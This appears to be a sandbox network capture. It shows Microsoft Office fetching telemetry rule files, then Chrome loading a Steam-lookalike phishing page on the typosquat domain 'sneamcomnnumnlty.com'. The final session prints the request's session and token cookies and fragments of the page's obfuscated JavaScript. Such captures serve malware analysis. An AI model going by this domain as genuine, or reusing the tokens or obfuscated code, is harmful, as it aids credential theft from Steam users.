Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:59 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:59 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064659Z-1657d5bbd48xsz2nuzq4vfrzg800000002vg00000000ghk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:59 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:59 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064659Z-1657d5bbd48q6t9vvmrkd293mg0000000350000000003fb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:59 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:59 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064659Z-1657d5bbd48gqrfwecymhhbfm8000000021g000000000xwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:00 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064700Z-1657d5bbd48q6t9vvmrkd293mg000000036g000000000c00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:00 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064700Z-1657d5bbd48762wn1qw4s5sd3000000002w000000000fg7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064700Z-1657d5bbd48vlsxxpe15ac3q7n000000034g000000003fce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 81e42967-c01e-0014-5ee9-16a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064700Z-1657d5bbd48xlwdx82gahegw40000000037000000000exyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:00 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:00 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f57b7c9f-801e-00a0-4a13-172196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064700Z-1657d5bbd48tqvfc1ysmtbdrg000000002y000000000aupq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:00 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49760	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:00 UTC	1477	OUT	GET /hfjf748934924/geting/put HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg
2024-10-07 06:47:00 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4YOGM%2BflFu9XeiDJvPROm5%2FY%2Fv29kUDaKfVsQuumbVzBRqEgfcAcWtLgIADWbQ8gHdgj6oKV6Jn941Uy1PIm6LxJrQUJPBvB2uTakuNTHQ%2BPMdFbm1UoKGEaBPgJ4ghVtbTaCdqQvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cebeff48c305e82-EWR
2024-10-07 06:47:00 UTC	362	IN	Data Raw: 33 66 61 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 22 3e 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 3fa0<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><style> html, body { padding: 0; margin: 0; height: 100vh; width:
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 74 69 74 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 27 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 27 20 74 79 70 65 3d 27 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 27 3e 0a 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 69 6d 61 67 65 27 20 63 6f 6e 74 65 6e 74 3d 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 Data Ascii: > <meta property='og:title' content='Redeem a Steam Gift Card or Wallet Code'> <link rel='shortcut icon' href='https://steamcommunity.com/favicon.ico' type='image/x-icon'> <meta property='og:image' content='https://store.akamai.steamstatic.com/publi
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 23 79 27 2c 27 45 45 56 4b 37 3d 5a 3b 3b 52 27 2c 27 45 45 30 3d 66 2c 41 27 2c 27 42 45 5a 32 62 27 2c 27 64 72 57 66 53 5b 41 27 2c 27 5b 2b 59 62 3b 6d 75 4d 5b 32 5b 75 77 50 39 64 2e 41 27 2c 27 65 50 28 67 2a 5b 2f 4e 78 53 49 3b 69 39 4d 27 2c 27 71 61 3b 49 63 2c 6d 43 27 2c 27 5a 72 65 66 65 27 2c 27 78 6f 6a 67 5d 5b 41 27 2c 27 70 77 29 2c 6c 6c 39 58 67 35 73 30 55 50 50 6e 27 2c 27 45 45 66 3c 2f 5b 6a 4e 72 55 27 2c 27 36 69 6d 66 4e 5b 55 43 2c 52 43 76 65 78 38 6a 2e 49 63 3d 79 3b 6f 65 61 55 32 75 3e 78 6a 4c 64 50 42 32 66 2c 78 76 23 46 5d 34 70 45 6e 6e 2a 55 5e 49 27 2c 27 32 61 56 4b 65 2c 41 27 2c 27 75 4a 28 67 67 3e 6d 43 27 2c 27 49 45 30 3d 63 2c 79 43 27 2c 27 64 50 40 4a 76 29 63 65 47 27 2c 27 77 35 39 4b 65 2c 41 27 2c 27 Data Ascii: #y','EEVK7=Z;;R','EE0=f,A','BEZ2b','drWfS[A','[+Yb;muM[2[uwP9d.A','eP(g[/NxSI;i9M','qa;Ic,mC','Zrefe','xojg][A','pw),ll9Xg5s0UPPn','EEf</[jNrU','6imfN[UC,RCvex8j.Ic=y;oeaU2u>xjLdPB2f,xv#F]4pEnnU^I','2aVKe,A','uJ(gg>mC','IE0=c,yC','dP@Jv)ceG','w59Ke,A','
2024-10-07 06:47:00 UTC	1369	IN	Data Raw: 51 68 74 71 48 49 2b 30 78 33 35 5d 7d 2c 30 78 31 29 3b 55 4c 6d 73 6f 52 30 3d 28 42 6f 70 5a 4c 61 4d 26 66 6d 35 38 58 43 6e 28 2d 30 78 32 38 29 29 3c 3c 6f 78 65 45 62 49 28 30 78 33 66 29 7c 51 68 74 71 48 49 5b 6c 59 4f 41 6d 75 6e 2b 2b 5d 26 30 78 33 66 7d 65 6c 73 65 7b 69 66 28 42 6f 70 5a 4c 61 4d 3c 3d 30 78 65 66 29 7b 76 61 72 20 74 32 44 4e 39 62 3d 51 72 76 66 5f 62 7a 28 51 68 74 71 48 49 3d 3e 7b 72 65 74 75 72 6e 20 64 63 62 59 4f 36 5b 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2d 30 78 34 32 3a 51 68 74 71 48 49 3c 30 78 34 36 3f 51 68 74 71 48 49 3c 30 78 32 31 3f 51 68 74 71 48 49 2d 30 78 34 36 3a 51 68 74 71 48 49 3e 30 78 34 36 3f 51 68 74 71 48 49 2b 30 78 35 31 3a 51 68 74 71 48 Data Ascii: QhtqHI+0x35]},0x1);ULmsoR0=(BopZLaM&fm58XCn(-0x28))<<oxeEbI(0x3f)\|QhtqHI[lYOAmun++]&0x3f}else{if(BopZLaM<=0xef){var t2DN9b=Qrvf_bz(QhtqHI=>{return 